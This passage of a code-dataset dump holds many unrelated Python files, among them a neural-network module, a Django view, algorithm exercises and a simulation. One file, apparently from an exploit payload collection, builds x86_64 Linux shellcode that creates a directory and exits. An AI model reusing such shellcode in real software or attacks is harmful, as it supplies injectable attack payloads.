'mails')\nTOKEN_PATH = os.path.join(CWD, 'tokens')\nLOG_PATH = os.path.join(CWD, 'o365_email_getter.log')\n\n\n\n# AUTHORITY_URL ending determines type of account that can be authenticated:\n# /organizations = organizational accounts only\n# /consumers = MSAs only (Microsoft Accounts - Live.com, Hotmail.com, etc.)\n# /common = allow both types of accounts\nAUTHORITY_URL = 'https://login.microsoftonline.com/common'\n\nAUTH_ENDPOINT = '/oauth2/v2.0/authorize'\nTOKEN_ENDPOINT = '/oauth2/v2.0/token'\n\nRESOURCE = 'https://graph.microsoft.com/'\nAPI_VERSION = 'beta'\n#['basic', 'message_all']\nSCOPES = ['User.Read', 'offline_access', 'Mail.ReadWrite', 'Mail.Send'] # Add other scopes/permissions as needed.\n\n\n# Getter definitions for message pull\nUSERS = []\nUSERS.append({\"user_id\":\"EMAIL@OUTLOOK.COM\", \"queue\":\"Microsurgery\", \"action\":\"correspond\"})\n#USERS.append({\"user_id\":\"EMAIL1@OUTLOOK.COM\", \"queue\":\"Ophthalmic\", \"action\":\"correspond\"})\n\n\n# MDA settings\nRT_URL = ''\nCA_FILE = '/usr/local/share/ca-certificates/yourCertificate.cer'\n# \"MDA\": \"/opt/rt4/bin/rt-mailgate --queue 'Microsurgery' --action correspond --url https://dev-med-rt.zeiss.com/ --ca-file /usr/local/share/ca-certificates/dev-med-rt.zeiss.com/dev_med_rt.zeiss.com.cer\"\n\n\n\n# This code can be removed after configuring CLIENT_ID and CLIENT_SECRET above.\nif 'ENTER_YOUR' in CLIENT_ID or 'ENTER_YOUR' in CLIENT_SECRET or 'ENTER_YOUR' in MAIL_PATH or 'ENTER_YOUR' in TOKEN_PATH or 'ENTER_YOUR' in LOG_PATH:\n print('ERROR: config.py does not contain valid CLIENT_ID and CLIENT_SECRET')\n import sys\n sys.exit(1)\n","sub_path":"o365getmail/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"457074831","text":"from django.views.generic import TemplateView\nfrom blog.models import Entry\nclass MainView(TemplateView):\n\n template_name = \"main.jade\"\n\n def get_context_data(self, **kwargs):\n # Call the base implementation first to get a context\n context = super(MainView, self).get_context_data(**kwargs)\n # Add in the publisher\n context['last_entries'] = Entry.published.all()[:3]\n #context['publisher'] = self.publisher\n return context\n","sub_path":"website/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"641874727","text":"\"\"\"\nGiven a linked list, remove the nth node from the end of list and return its head.\n\nFor example,\n\n Given linked list: 1->2->3->4->5, and n = 2.\n\n After removing the second node from the end, the linked list becomes 1->2->3->5.\nNote:\nGiven n will always be valid.\nTry to do this in one pass.\n\"\"\"\n\nfrom .LinkedListCycle import ListNode\n\n\nclass Solution1(object):\n def removeNthFromEnd(self, head, n):\n \"\"\"\n :type head: ListNode\n :type n: int\n :rtype: ListNode\n \"\"\"\n fakeHead = ListNode(0)\n slow, fast = fakeHead, fakeHead\n fakeHead.next = head\n\n for i in range(n):\n fast = fast.next\n\n while fast.next:\n slow = slow.next\n fast = fast.next\n\n slow.next = slow.next.next\n return fakeHead.next\n\n\nclass Solution(object):\n def removeNthFromEnd(self, head, n):\n \"\"\"\n :type head: ListNode\n :type n: int\n :rtype: ListNode\n \"\"\"\n def getLen(node):\n length = 0\n while node:\n node = node.next\n length += 1\n return length\n\n fakeHead = ListNode(0)\n fakeHead.next = head\n length = getLen(head)\n curr = fakeHead\n for i in range(length - n):\n curr = curr.next\n curr.next = curr.next.next\n return fakeHead.next\n","sub_path":"easy/RemoveNthNodeFromEndofList.py","file_name":"RemoveNthNodeFromEndofList.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"67164719","text":"# -*- coding: utf-8 -*-\n\n### Zo kunnen we een veld maken van zo groot als we willen, ik kom anders in de knoei met 201 als je naar links gaat.\n### Dan wordt het 200, 199, 198, ... Dan denkt die dat die op de vorige rij is door 1xx. Denk dat we het zo veel makkelijker maken voor onszelf.\n# @autor \"Peter Markotic, Floor Eigenhuis\"\n\n\nimport random\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plt\n\nwidth = 30\nheight = 30\nplayers = 30\n\n#field = [[0 for x in range(w)] for y in range(h)]\n\n# get a list of the possible locations\ndef getLocations (width, height):\n loc = []\n for h in range (1, height+1):\n for w in range (1, width +1):\n loc.append([h, w])\n return loc\n\n# get the starting locations of the players\ndef getStartLoc(loc, players):\n playerLoc = {}\n for p in range (1, players+1):\n playerLoc[p] = random.choice(loc)\n loc.remove(playerLoc[p]) #so players don't get the same location\n return playerLoc\n\ndef mapToInBounds(x,y):\n if (x > width):\n x = x % width\n if (x < 1):\n x = width + (x % -width)\n\n if (y > height):\n y = y % height\n if (y < 1):\n y = height + (y % -height)\n return x,y\n\ndef radiusCheck(origin,r):\n temp = []\n for x in range(int(origin[0] - r), int(origin[0] + r+1)):\n for y in range(int(origin[1] - r), int(origin[1] + r+1)):\n if (math.pow ((x - origin[0]) , 2) + math.pow ((y - origin[1]), 2) <= r ** 2):\n temp.append([x,y])\n return temp\n\n\ndef move(player, A, playerLocations, width, height, epsilon, radius = 1, speed = 3):\n currentLoc = playerLocations[player]\n\n if random.random() <= epsilon or (np.count_nonzero(payoffs[player-1]) == 0):\n angle = random.choice(A) # explore\n else:\n angle = A[payoffs[player - 1].index(max(payoffs[player - 1]))] # exploit: get the index of the move that caused the max payoff and play that action\n\n angle_rad = math.radians(angle) # convert to radians, take cos for y and sin for x value\n #x = math.cos(angle_rad) * speed #zonder afronden\n #y = (math.sin(angle_rad) * -1) * speed\n\n x = round(math.cos(angle_rad) * speed) #met afronden\n y = round((math.sin(angle_rad) * -1) * speed)\n\n x += currentLoc[0]\n y += currentLoc[1]\n\n x,y = mapToInBounds(x,y)\n\n newLoc = [x,y] #@TODO: Kijken of we moeten afronden en dus met patches moeten werken, of niet?\n\n plays[player - 1][A.index(angle)] += 1 # add move of player to the array\n\n # if(newLoc in playerLocations.values()):\n # payoffs[player - 1][A.index(angle)] += -50\n # return\n\n\n for loc in playerLocations.values():\n coords = radiusCheck(loc, radius)\n for i in range(len(coords)):\n coords[i][0], coords[i][1] = mapToInBounds(coords[i][0], coords[i][1])\n if newLoc in coords:\n payoffs[player -1][A.index(angle)] += -5\n #print('Collision; didnt move')\n return\n\n payoffs[player - 1][A.index(angle)] += 1\n playerLocations[player] = newLoc\n return\n\n\nfield = getLocations(width, height)\nplayerLocations = getStartLoc(field, players)\nA = [0, 45, 90, 135, 180, 225, 270, 315]\npayoffs = [[0 for x in range(len(A))] for y in range(players)] #2 dimensional array; [player][move] = total payoff for player for a particular move\nplays = [[0 for x in range(len(A))] for y in range(players)] #2 dimensional array; [player][move] = total times player has played a move\nepsilon = 0.1\n#delta = 1\naverage_payoffs = [[[] for x in range(players)] for y in range(players)] #2d array, but now for every timestep\ntest = [[] for x in range(players)]\n\nprint(\"field: \")\nprint(field)\nprint(\"Playerloc: \")\nprint(playerLocations)\nprint(\"Payoffs: \")\nprint(payoffs)\nprint('test')\nprint(test)\n\ni = 0\nwhile i < 100000:\n if(i % 1000 == 0):\n #delta+=1\n print(i)\n print(payoffs)\n for player in playerLocations:\n move(player, A, playerLocations, height, width, epsilon)\n\n for n in range(len(A)): #for each angle\n average = 0\n for m in range(players): #for each player\n average += payoffs[m][n] # add [player][move] payoff to average\n average = round(average/players)\n test[n].append(average)\n i += 1\n\nprint(\"\\n\")\nprint(\"Playerloc: \")\nprint(playerLocations)\nprint(\"Payoffs: \")\nprint(payoffs)\nprint(\"Plays: \")\nprint(plays)\n\n\nlabels = []\n# for i in range(players):\n# plt.plot(average_payoffs[i][0])\n# labels.append('Skater: ' + str(i+1))\n\nfor i in range(len(A)):\n plt.plot(test[i])\n labels.append('Angle: ' + str(A[i]) + '°'.decode(\"utf8\"))\n\nplt.ylabel('Average payoff over all players at time t')\nplt.legend(labels, ncol=players, loc=3, bbox_to_anchor=(0., 1.02, 1., .102), mode=\"expand\", borderaxespad=0.)\nplt.show()\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":4781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"325184779","text":"import Movies\nimport fresh_tomatoes\n\nsuper_man_vs_batman = Movies.Movie(\"Super Man vs Batman\",\n \"a story about a bromance\",\n \"https://upload.wikimedia.org/wikipedia/en/2/20/Batman_v_Superman_poster.jpg\",\n \"https://www.youtube.com/watch?v=0WWzgGyAH6Y\") \n\nsuicide_squad = Movies.Movie(\"Suicide Squad\",\n \"a story about a bunch of twats\",\n \"https://upload.wikimedia.org/wikipedia/en/a/ac/Suicide_Squad_%28film%29_Poster.jpg\",\n \"https://www.youtube.com/watch?v=0myB9YZIzeI\")\n\n\nsteve_jobs = Movies.Movie(\"Steve Jobs\",\n \"a movie about the Steve Jobs, do i really need to say more?\",\n \"https://upload.wikimedia.org/wikipedia/en/a/aa/SteveJobsposter.jpg\",\n \"https://www.youtube.com/watch?v=ufMgQNCXy_M\")\n\n\ndeadpool = Movies.Movie(\"Deadpool\",\n \"a movie about a antihero\",\n \"https://upload.wikimedia.org/wikipedia/en/4/46/Deadpool_poster.jpg\",\n \"https://www.youtube.com/watch?v=oCvLUxICxEI\")\n\n\nx_men_apocalypse = Movies.Movie(\"X men Apocalypse\",\n \"a filme about a bunch of mutants\",\n \"https://upload.wikimedia.org/wikipedia/en/0/04/X-Men_-_Apocalypse.jpg\",\n \"https://www.youtube.com/watch?v=mtKMXP0ErdU\")\n\n\ncaptain_america_3 = Movies.Movie(\"Captain America 3: Ciivl War\",\n \"when the heroes are force to reveal they true identity some are in favor others are not\",\n \"https://upload.wikimedia.org/wikipedia/en/5/53/Captain_America_Civil_War_poster.jpg\",\n \"https://www.youtube.com/watch?v=1L3c17AmCZw\")\n\n\nfilms = [super_man_vs_batman,\n suicide_squad,\n steve_jobs,\n deadpool,\n x_men_apocalypse,\n captain_america_3\n \n]\n\nfresh_tomatoes.open_movies_page(films)\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"exercise-6/entertainment_center.py","file_name":"entertainment_center.py","file_ext":"py","file_size_in_byte":2121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"31298176","text":"# system path\nimport sys\nimport os\n# unit testing\nimport unittest\nfrom pymongo import MongoClient\n\n# Sets the execution path\nsys.path.insert(0, os.path.realpath('./'))\n\n# internal modulesunit\nfrom nlp.utils import get_word_clusters, lemmatize_text, get_question_data\n\n\nclass TestUtils(unittest.TestCase):\n \"\"\"\n Class containing all the unit tests for the utility functions.\n \"\"\"\n def test_get_word_clusters(self):\n \"\"\"\n Tests if the get_word_clusters function works as expected.\n \"\"\"\n thres = 0.5\n lemma_dict = \\\n {\n 'cat': ['cats', 'cat'],\n 'dog': ['dogs', 'dog']\n }\n lemma_slot, clusters = get_word_clusters(lemma_dict, thres)\n self.assertTrue(len(lemma_slot.items()) == len(lemma_dict.items()))\n self.assertTrue(len(clusters) > 0)\n\n\n def test_lemmatize_text(self):\n \"\"\"\n Tests if the lemmatize_text function works as expected.\n \"\"\"\n noun_phrases = \\\n [\"funny dogs\",\"natural language processing\",\"computer processing\"]\n lemma_text = lemmatize_text(noun_phrases)\n self.assertTrue(lemma_text.__contains__(\"dogs\"))\n self.assertTrue(lemma_text.__contains__(\"processing\"))\n self.assertFalse(lemma_text.__contains__(\"cat\"))\n self.assertTrue(len(lemma_text) > 0)\n\n def test_get_question_data(self):\n \"\"\"\n Tests if the data is being fetched from the database.\n \"\"\"\n question, answer = get_question_data('faq')\n self.assertTrue(len(question) > 0)\n self.assertTrue(len(answer) > 0)\n\nif __name__ == '__main__':\n \"\"\"\n Runs all the unit tests defined above.\n \"\"\"\n unittest.main()\n","sub_path":"tests/nlp/utils_test.py","file_name":"utils_test.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"455922974","text":"class Knapsack():\n def __init__(self, backpack_size, values, weights):\n self.backpack = {\n 'available_weight': backpack_size,\n 'worth': 0\n }\n self.weights = weights\n self.values = values\n self.densities = [value / weight for value,\n weight in zip(values, weights)]\n self.items = list(zip(weights, values, self.densities))\n self.length = len(self.items)\n\n self.sort_items()\n\n def sort_items(self):\n # Sort the items based on their density\n self.items = sorted(self.items, key=lambda x: x[2], reverse=True)\n\n def maximum_amount(self):\n for i in range(self.length):\n\n # If taking an item won't overflow the available_weight, take it\n if self.backpack['available_weight'] - self.items[i][0] >= 0:\n self.backpack['available_weight'] -= self.items[i][0]\n self.backpack['worth'] += self.items[i][1]\n\n # If we can't add the whole item, add a part of it\n else:\n # The part's worth is equal to its density times the weight left in our backpack\n self.backpack['worth'] += self.items[i][2] * \\\n self.backpack['available_weight']\n break\n\n return self.backpack['worth']\n","sub_path":"Greedy/fractional_knapsack.py","file_name":"fractional_knapsack.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"196312660","text":"from collections import deque, defaultdict\nfrom pdb import set_trace\nimport copy\n\n\ndef bfs(f, graph, visited):\n q = deque()\n count = 0\n q.append([f, count])\n while q:\n # set_trace()\n node, cnt = q.popleft()\n if visited[node-1] != -1:\n continue\n else:\n visited[node-1] = cnt\n for v in graph[node]:\n q.append([v, cnt+1])\n return visited\n\n\ndef solution(n, edge):\n visited = [-1]*n\n answer = 0\n cnt = 0\n graph = defaultdict(list)\n for start, end in edge:\n graph[start].append(end)\n graph[end].append(start)\n answer = bfs(1, graph, visited)\n for val in visited:\n if val == max(answer):\n cnt += 1\n return cnt\n","sub_path":"graph/farest_node.py","file_name":"farest_node.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"288629464","text":"from django.shortcuts import render\nfrom .models import post\n\nposts = [{'author': 'nikhil',\n 'title': 'blog post 1',\n 'dated': 'march 24 2019',\n 'content': 'blog content will be here'},\n {'author': 'suthar',\n 'title': 'blog post 2',\n 'dated': 'march 24 2019',\n 'content': 'blog content will be here'}\n ]\n\ndef home(request):\n context={'posts':post.objects.all()}\n return render(request,'blog/home.html',context)\n\ndef about(request):\n return render(request,'blog/about.html',{'title': 'about'})\n# Create your views here.\n","sub_path":"untitled5/blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"76236565","text":"import torch\nfrom torch.autograd import Variable\nimport torch.utils.data as Data\nimport matplotlib.pyplot as plt\nimport torchvision\nimport torch.nn.functional as F\n\n\n# Hyper params\nBATCH_SIZE = 50\nLR = 0.05\nDOWNLOAD_MNIST = False\nEPOCH = 1\n\n\n# get training data(batch training) and test data\ntrain_data = torchvision.datasets.MNIST(\n root='./mnist',\n train=True,\n transform=torchvision.transforms.ToTensor(),\n download=DOWNLOAD_MNIST,\n)\n# print(train_data.data.shape) # torch.Size([60000, 28, 28])\n# print(train_data.targets.shape) # torch.Size([60000])\n# plt.imshow(train_data.data[0].numpy())\n# plt.title('show image, label: %d' % train_data.targets[0])\n# plt.show()\nloader = Data.DataLoader(\n dataset=train_data,\n batch_size=BATCH_SIZE,\n shuffle=True,\n num_workers=2\n)\n\ntest_data = torchvision.datasets.MNIST(root='./mnist', train=False)\n\ntest_x = Variable(torch.unsqueeze(test_data.data, dim=1), requires_grad=False).type(torch.FloatTensor)[:2000] / 255.0\ntest_y = test_data.targets[:2000]\n\n# print(test_x.shape) # torch.Size([2000, 1, 28, 28])\n# plt.imshow(test_x[0][0].data.numpy()) # torch.Size([2000])\n# plt.title('test example, label: %d' % test_y[0].item())\n# plt.show()\n# print(test_y.shape)\n# print(test_y[0].item()) # 对于数据内容为一个标量的tensor而言,获取内容不采用.data[0]而采用.item()\n\n\n# start build CNN\n\nclass CNN(torch.nn.Module):\n def __init__(self):\n super(CNN, self).__init__()\n self.conv1 = torch.nn.Sequential( # (1, 28, 28)\n torch.nn.Conv2d(\n in_channels=1,\n out_channels=16,\n kernel_size=5,\n stride=1,\n padding=2 # output_size = (input_size + 2 * padding - kernel_size) / stride + 1\n # 当stride = 1时,公式简化为: padding = (stride - 1) / 2\n ), # (16, 28, 28)\n torch.nn.ReLU(), # (16, 28, 28)\n torch.nn.MaxPool2d(kernel_size=2, stride=2) # 若没说stride,默认与kernel_size相同\n # (16, 14, 14)\n )\n self.conv2 = torch.nn.Sequential(\n torch.nn.Conv2d(16, 32, 5, 1, 2), # (32, 14, 14)\n torch.nn.ReLU(), # (32, 14, 14)\n torch.nn.MaxPool2d(kernel_size=2) # (32, 7, 7)\n )\n self.output = torch.nn.Linear(32 * 7 * 7, 10)\n\n def forward(self, x):\n x = self.conv1(x)\n x = self.conv2(x)\n x = x.view(x.size(0), -1) # (batch, 32, 7, 7) -> (batch, 32 * 7 * 7)\n x = self.output(x)\n return x\n\n\ncnn = CNN()\nprint(cnn)\n\n\noptimizer = torch.optim.Adam(cnn.parameters(), lr=LR)\nloss_func = torch.nn.CrossEntropyLoss()\n\n\n# start train\nfor epoch in range(EPOCH):\n for step, (x, y) in enumerate(loader):\n b_x = Variable(x)\n b_y = Variable(y)\n\n output = cnn(x)\n loss = loss_func(output, b_y)\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n if step % 50 == 0: # 每训练50次,用测试集进行测试,查看模型训练程度和损失\n output_y = cnn(test_x)\n # step or print(output_y.shape)\n pred_y = torch.max(output, dim=1)[1] # torch.max()会返回两个list,第0个是真实的最大值,第二个是最大值对应的index,我们要的是index\n accuracy = sum(pred_y == y) / y.size()[0]\n\n print('Epoch: ', epoch, ' | step: ', step,\n ' | accuracy: ', accuracy.item(), ' | loss: ', loss.item())\n\n\ntest_output = cnn(test_x[:10])\npred_output = torch.max(test_output, 1)[1].data.numpy()\nprint('prediction labels: ', pred_output)\nprint('real labels: ', test_y[:10].numpy())\n\ntorch.save(cnn.state_dict(), './mnist_cnn_params.pkl')\n\n\n\n","sub_path":"2.pytorch/7.conversion.py","file_name":"7.conversion.py","file_ext":"py","file_size_in_byte":3732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"564954419","text":"from FromScratchModule.Activation.Class import *\nimport numpy as np\n\nclass BaseLayer:\n \"\"\"\n Superclass for all of the layers.\n\n Contains methods for connecting layers together.\n \"\"\"\n def __init__(self):\n self.end = self\n self.after = None\n\n def add_after(self, layer):\n self.end.after = layer\n self.end = layer\n return self\n\n def __rshift__(self, layer):\n \"\"\"\n Wrapper for self.add_after()\n\n Allows us to use the >> operator for constructing our models.\n\n Example - A simple two layer model with an input shape of 2 and an output shape of 4:\n Layer(2, 3) >> Layer(3, 4)\n\n :param layer: The next layer in the model; the current layer will feed into this\n :return: self\n \"\"\"\n return self.add_after(layer)\n\n\nclass Layer(BaseLayer):\n \"\"\"\n Typical Feed-Forward, Full Connected Layer with Activation and Batch Normalization options.\n Requires that another BaseLayer object come after, so a separate type of Layer is used for output.\n \"\"\"\n def __init__(self, size_in, size_out, activation_func=Sigmoid(), learn_rate=1e-3, batch_norm_p=1):\n super().__init__()\n self.w = {\"array\": np.random.randn(size_in, size_out) * np.sqrt(1 / (size_in + size_out))}\n self.b = {\"array\": np.random.randn(1, size_out) * np.sqrt(1 / (size_in + size_out))}\n self.activation_func = activation_func\n self.learn_rate = learn_rate\n self.batch_norm_p = batch_norm_p\n self.mu_h = 0\n self.sig_h = 1\n\n def forward(self, z_in):\n h = z_in @ self.w[\"array\"] + self.b[\"array\"]\n mu_h = np.mean(h, keepdims=True, axis=0)\n self.mu_h = self.mu_h * self.batch_norm_p + mu_h * (1 - self.batch_norm_p)\n sig_h = np.std(h, keepdims=True, axis=0)\n self.sig_h = self.sig_h * self.batch_norm_p + sig_h * (1 - self.batch_norm_p)\n h_norm = (h - self.mu_h) / self.sig_h\n z_out = self.activation_func(h_norm)\n return self.after.forward(z_out) if not self.after == None else z_out\n\n def backward(self, z_in, y):\n h = z_in @ self.w[\"array\"] + self.b[\"array\"]\n mu_h = np.mean(h, keepdims=True, axis=0)\n self.mu_h = self.mu_h * self.batch_norm_p + mu_h * (1 - self.batch_norm_p)\n sig_h = np.std(h, keepdims=True, axis=0)\n self.sig_h = self.sig_h * self.batch_norm_p + sig_h * (1 - self.batch_norm_p)\n h_norm = (h - self.mu_h) / self.sig_h\n z_out = self.activation_func(h_norm)\n\n grad_after = self.after.backward(z_out, y)\n grad_h_norm = grad_after * self.activation_func.grad(h_norm)\n grad_h = grad_h_norm / self.sig_h\n\n grad_w = z_in.T @ grad_h\n grad_b = np.sum(grad_h, axis=0)\n grad_z_in = grad_h @ self.w[\"array\"].T\n\n self.w[\"grad\"] = grad_w\n self.b[\"grad\"] = grad_b\n\n return grad_z_in\n\n def predict(self, z_in):\n return self.after.predict(self.forward(z_in))\n\n def get_parameters(self):\n parameters = self.after.get_parameters()\n my_parameters = [self.w, self.b]\n parameters.extend(my_parameters)\n return parameters\n\n\nclass OutputLayer(Layer):\n \"\"\"\n Similar to Layer, but this one doesn't assume it has as BaseLayer after it\n \"\"\"\n def backward(self, z_in, y):\n y_hat = self.forward(z_in)\n grad_h = y_hat - y\n\n grad_w = z_in.T @ grad_h\n grad_b = np.sum(grad_h, axis=0)\n grad_z_in = grad_h @ self.w[\"array\"].T\n\n self.w[\"grad\"] = grad_w\n self.b[\"grad\"] = grad_b\n\n return grad_z_in\n\n def predict(self, z_in):\n return self.forward(z_in)\n\n def get_parameters(self):\n my_parameters = [self.w, self.b]\n return my_parameters\n\n\nclass SplitLayer(BaseLayer):\n def __init__(self, left, right):\n super().__init__()\n self.left = left\n self.right = right\n\n self.left.add_after(EmptyLayer(0))\n self.right.add_after(EmptyLayer(0))\n\n def forward(self, z_in):\n z_left = self.left.forward(z_in)\n z_right = self.right.forward(z_in)\n z_out = np.hstack([z_left, z_right])\n return z_out\n\n def backward(self, z_in, y):\n z_left = self.left.predict(z_in)\n z_right = self.right.predict(z_in)\n z_out = np.hstack([z_left, z_right])\n\n grad_after = self.after.backward(z_out, y)\n grad_left = grad_after[:, :z_left.shape[1]]\n grad_right = grad_after[:, z_left.shape[1]:]\n\n self.left.add_after(EmptyLayer(grad_left))\n self.right.add_after(EmptyLayer(grad_right))\n\n grad_z_left = self.left.backward(z_in, y)\n grad_z_right = self.right.backward(z_in, y)\n\n grad_z_in = grad_z_left + grad_z_right\n\n return grad_z_in\n\n def predict(self, z_in):\n z_left = self.left.predict(z_in)\n z_right = self.right.predict(z_in)\n z_out = np.hstack([z_left, z_right])\n return self.after.predict(z_out)\n\n def get_parameters(self):\n parameters = self.after.get_parameters()\n\n parameters_left = self.left.get_parameters()\n parameters_right = self.right.get_parameters()\n\n parameters.extend(parameters_left)\n parameters.extend(parameters_right)\n return parameters_left\n\n\nclass BypassLayer(BaseLayer):\n \"\"\"\n A layer used to create a Bypass between Base_Layers\n \"\"\"\n def __init__(self, model):\n super().__init__()\n self.model = model\n self.model.add_after(EmptyLayer(0))\n\n def forward(self, z_in):\n z_model = self.model.forward(z_in)\n z_out = np.hstack([z_in, z_model])\n return z_out\n\n def backward(self, z_in, y):\n z_model = self.model.predict(z_in)\n z_out = np.hstack([z_in, z_model])\n\n grad_after = self.after.backward(z_out, y)\n grad_z_left = grad_after[:, :z_in.shape[1]]\n grad_model = grad_after[:, z_in.shape[1]:]\n\n self.model.add_after(EmptyLayer(grad_model))\n\n grad_z_model = self.model.backward(z_in, y)\n\n grad_z_in = grad_z_left + grad_z_model\n\n return grad_z_in\n\n def predict(self, z_in):\n z_model = self.model.predict(z_in)\n z_out = np.hstack([z_in, z_model])\n return self.after.predict(z_out)\n\n def get_parameters(self):\n parameters = self.after.get_parameters()\n parameters_model = self.model.get_parameters()\n\n parameters.extend(parameters_model)\n return parameters\n\n\nclass EmptyLayer(BaseLayer):\n \"\"\"\n A dummy BaseLayer utilized by the Bypass_Layer when connecting ends of the Bypass\n \"\"\"\n def __init__(self, grad):\n super().__init__()\n self.grad = grad\n\n def backward(self, *args, **kwargs):\n return self.grad\n\n @staticmethod\n def forward(z_in):\n return z_in\n\n @staticmethod\n def predict(z_in):\n return z_in\n\n @staticmethod\n def get_parameters():\n return []\n\n\nclass DropoutLayer(BaseLayer):\n \"\"\"\n A BaseLayer which randomly zeros a portion of the outputs of the BaseLayer coming before it.\n The shape of the input is preserved, and the random zeroing is only performed during training\n \"\"\"\n def __init__(self, drop_rate=.5):\n super().__init__()\n self.drop_rate = drop_rate\n\n def backward(self, z_in, y):\n mask = np.random.rand(np.shape(z_in)[0], np.shape(z_in)[1]) > self.drop_rate\n z_out = mask * z_in\n\n grad_after = self.after.backward(z_out, y)\n grad_out = grad_after * mask\n\n return grad_out\n\n def forward(self, z_in):\n mask = np.random.rand(np.shape(z_in)[0], np.shape(z_in)[1]) > self.drop_rate\n z_out = mask * z_in\n return z_out\n\n def predict(self, z_in):\n return self.after.predict(z_in)\n\n def get_parameters(self):\n parameters = self.after.get_parameters()\n return parameters\n\n\nclass NoiseInjectionLayer(BaseLayer):\n \"\"\"\n A BaseLayer which adds random noise to the outputs of the BaseLayer fed into it\n The shape of the inputs is preserved, and the noise is only injected during training\n \"\"\"\n def __init__(self, sigma):\n super().__init__()\n self.sigma = sigma\n\n def forward(self, z_in):\n mu = np.mean(z_in, keepdims=True, axis=0)\n std = np.std(z_in, keepdims=True, axis=0)\n z_out = z_in + (np.random.randn(z_in.shape[0], z_in.shape[1]) * std + mu) * self.sigma\n return z_out\n\n def backward(self, z_in, y):\n z_out = self.forward(z_in)\n\n grad_out = self.after.backward(z_out, y)\n return grad_out\n\n def predict(self, z_in):\n return self.after.predict(z_in)\n\n def get_parameters(self):\n parameters = self.after.get_parameters()\n return parameters\n\n\nclass BatchNormLayer(BaseLayer):\n \"\"\"\n A BaseLayer which normalizes the outputs of the previous BaseLayer based on a moving average of all outputs seen during training.\n This normalization preserves the input shape, and the moving average is only updated during training\n \"\"\"\n def __init__(self, norm_p):\n super().__init__()\n self.mu = 0\n self.sig = 1\n self.norm_p = norm_p\n\n def forward(self, z_in):\n mu = np.mean(z_in, keepdims=True, axis=0)\n self.mu = self.norm_p * self.mu + (1 - self.norm_p) * mu\n sig = np.std(z_in, keepdims=True, axis=0)\n self.sig = self.norm_p * self.sig + (1 - self.norm_p) * sig\n\n z_out = (z_in - self.mu) / (self.sig + 1e-99)\n return z_out\n\n def backward(self, z_in, y):\n z_out = self.forward(z_in)\n\n grad_after = self.after.backward(z_out, y)\n grad_out = grad_after / self.sig\n return grad_out\n\n def predict(self, z_in):\n mu = np.mean(z_in, keepdims=True, axis=0)\n mu = self.norm_p * self.mu + (1 - self.norm_p) * mu\n sig = np.std(z_in, keepdims=True, axis=0)\n sig = self.norm_p * self.sig + (1 - self.norm_p) * sig\n\n z_out = (z_in - mu) / (sig + 1e-99)\n return self.after.predict(z_out)\n\n def get_parameters(self):\n parameters = self.after.get_parameters()\n return parameters\n","sub_path":"MachineLearning/FromScratch/FromScratchModule/NNet.py","file_name":"NNet.py","file_ext":"py","file_size_in_byte":10161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"78037134","text":"#https://packetstormsecurity.com/files/127261/39-Bytes-mkdir-haxor-exit-Shellcode.html\n#; Title: mkdir() 'haxor' and exit() Shellcode - 39 bytes\n#; Platform: linux/x86_64\n#; Date: 2014-06-26\n#; Author: Osanda Malith Jayathissa (@OsandaMalith)\n\n\n\n#WORK TESTED\n#Linux whoami 3.19.0-37-generic #42~14.04.1-Ubuntu SMP Mon Nov 23 15:13:51 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux\n#Must be add chmod 777 ..\ndef mkdir( foldername):\n\tshellcode = r\"\\xeb\\x1b\\x5e\"\n\tshellcode += r\"\\x48\\x31\\xc0\"\n\tshellcode += r\"\\xb0\\x53\\x48\"\n\tshellcode += r\"\\x89\\xf7\\x66\"\n\tshellcode += r\"\\xbe\\xed\\x01\\x0f\\x05\\x48\\x31\\xc0\\x48\\x83\\xc0\\x3c\\x48\\x31\\xff\\x0f\\x05\\xe8\"\n\tshellcode += r\"\\xe0\\xff\\xff\\xff\"\n\tshellcode += foldername\n\treturn shellcode\n\n\n","sub_path":"DATABASE/ShellsploitFancy/Linux64/mkdir.py","file_name":"mkdir.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"376958627","text":"# -*- coding: utf-8 -*-\nimport csv\nimport io\nimport os\nimport numpy as np\nimport copy\nimport random\nfrom datetime import datetime\nimport sys\nimport codecs\n\n# 1 = couple, 2 = personne 2, 3 = personne 1\nmode = 3\nif mode not in [1, 2, 3]:\n\tprint(\"Erreur mode %d\" % mode)\n\texit(1)\n\nnbRandomIng = 59\nnbIng = 3\nnbResultats = 10\nlimiteNbPlats = 100000\n\ndureeHist = 30\n\nutiliserHistorique = True\n\nutiliserBase = False\n\nutiliserStock = True\n\nutiliserPrevision = True\n\nproportionRepas = 0.35\n\nperso_energie = 1555\nperso_energie2 = 1719\n\ndef stringIngredient(ingredient):\n\treturn \"%s - %s (%s %s)\" % (ingredients[ingredient][0], ingredients[ingredient][1], ingredients[ingredient][2], ingredients[ingredient][3])\n\ndef 